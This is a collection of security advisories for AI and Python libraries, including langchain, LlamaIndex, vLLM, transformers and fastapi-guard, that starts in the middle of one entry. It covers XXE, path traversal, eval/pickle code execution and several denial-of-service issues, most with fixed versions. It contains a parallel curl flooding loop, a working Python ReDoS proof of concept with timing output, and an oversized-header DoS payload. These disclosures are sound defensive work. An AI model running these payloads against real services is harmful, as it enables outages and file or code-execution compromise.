seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null`
`
---
Suggestions
1. Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding
Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Langchain Community Vulnerable to XML External Entity (XXE) Attacks
The langchain-ai/langchain project, specifically the EverNoteLoader component, is vulnerable to XML External Entity (XXE) attacks due to insecure XML parsing. The vulnerability arises from the use of etree.iterparse() without disabling external entity references, which can lead to sensitive information disclosure. An attacker could exploit this by crafting a malicious XML payload that references local files, potentially exposing sensitive data such as /etc/passwd. This issue has been fixed in 0.3.27 of langchain-community.
LlamaIndex affected by a Denial of Service (DOS) in JSONReader
A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.
vLLM has remote code execution vulnerability in the tool call parser for Qwen3-Coder
Summary
An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call.
Details
vLLM's Qwen3 Coder tool parser contains a code execution path that uses Python's eval() function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types.
This code path is reached when:
1. Tool calling is enabled (--enable-auto-tool-choice)
2. The qwen3_coder parser is specified (--tool-call-parser qwen3_coder)
3. The parameter type is not explicitly defined or recognized
Impact
Remote Code Execution via Python's eval() function.
vllm API endpoints vulnerable to Denial of Service Attacks
Summary
A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.
Details
The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" * 5_800_000_000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.
Impact
_What kind of vulnerability is it? Who is impacted?_
Type of vulnerability: Denial of Service (DoS)
Resolution
Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.
FastAPI Guard regex bypass — XSS/SQLi through middleware
Bounded regex in fastapi-guard 3.0.1 bypassed with payloads exceeding length limits.
fastapi-guard is vulnerable to ReDoS through inefficient regex
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
``python
payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
`
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False` are vulnerable to DoS.
LlamaIndex vulnerable to Path Traversal attack through its encode_image function
A path traversal vulnerability exists in run-llama/llama_index versions 0.11.23 through 0.12.40, specifically within the encode_image function in generic_utils.py. This vulnerability allows an attacker to manipulate the image_path input to read arbitrary files on the server, including sensitive system files. The issue arises due to improper validation or sanitization of the file path, enabling path traversal sequences to access files outside the intended directory. The vulnerability is fixed in version 0.12.41.
Transformers vulnerable to ReDoS attack through its SETTING_RE variable
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the huggingface/transformers repository, specifically in version 4.49.0. The vulnerability is due to inefficient regular expression complexity in the SETTING_RE variable within the transformers/commands/chat.py file. The regex contains repetition groups and non-optimized quantifiers, leading to exponential backtracking when processing 'almost matching' payloads. This can degrade application performance and potentially result in a denial-of-service (DoS) when handling specially crafted input strings. The issue is fixed in version 4.51.0.
LlamaIndex has Incomplete Documentation of Program Execution related to JsonPickleSerializer component
Incomplete Documentation of Program Execution exists in the run-llama/llama_index library's JsonPickleSerializer component, affecting versions v0.12.27 through v0.12.40. This vulnerability allows remote code execution due to an insecure fallback to Python's pickle module. JsonPickleSerializer prioritizes deserialization using pickle.loads(), which can execute arbitrary code when processing untrusted data. Attackers can exploit this by crafting malicious payloads to achieve full system compromise. The root cause involves the use of an insecure fallback strategy without sufficient input validation or protective safeguards. Version 0.12.41 renames JsonPickleSerializer to PickleSerializer and adds a warning to the docs to only use PickleSerializer to deserialize safe things.